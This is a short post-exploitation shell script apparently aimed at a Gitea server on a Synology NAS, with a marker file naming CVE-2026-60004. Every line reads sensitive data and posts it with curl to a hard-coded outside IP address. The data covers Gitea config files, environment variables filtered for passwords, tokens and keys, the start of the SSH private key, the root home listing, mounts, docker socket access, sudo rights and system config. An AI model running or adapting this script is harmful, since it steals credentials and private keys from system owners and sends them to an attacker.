#!/bin/sh
# Gitea config
cat /volume1/@appdata/gitea/conf/app.ini 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/gitea_conf
cat /volume1/@appdata/gitea/custom/conf/app.ini 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/gitea_conf2
# Database creds from env
env 2>&1 | grep -iE 'db_|pass|secret|token|key|mysql|postgres|psql' | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/db_env
# Docker socket
ls -la /var/run/docker.sock 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/docker_sock
groups 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/groups
# SSH keys
ls -la ~/.ssh/ 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/ssh_dir
cat ~/.ssh/id_rsa 2>&1 | head -5 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/id_rsa
# Root home
ls -la /root/ 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/root_home
# Volume mounts
mount 2>&1 | head -30 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/mounts
# Gitea data dir
ls -laR /volume1/@appdata/gitea/ 2>&1 | head -80 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/gitea_dir
# Synology shared folders
ls -la /volume1/ 2>&1 | head -30 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/volume1
# Interesting files
find /volume1/@appdata/gitea -name '*.sqlite' -o -name '*.db' -o -name '*.ini' -o -name '*.key' 2>&1 | head -30 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/gitea_files
# Sudo
sudo -l 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/sudo
# Write test file
echo "pwned_by_CVE-2026-60004_sc-gitea" > /tmp/gitea_pwned_test 2>&1; echo $? | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/write_test
# Network interfaces
cat /etc/synoinfo.conf 2>&1 | head -20 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/synoinfo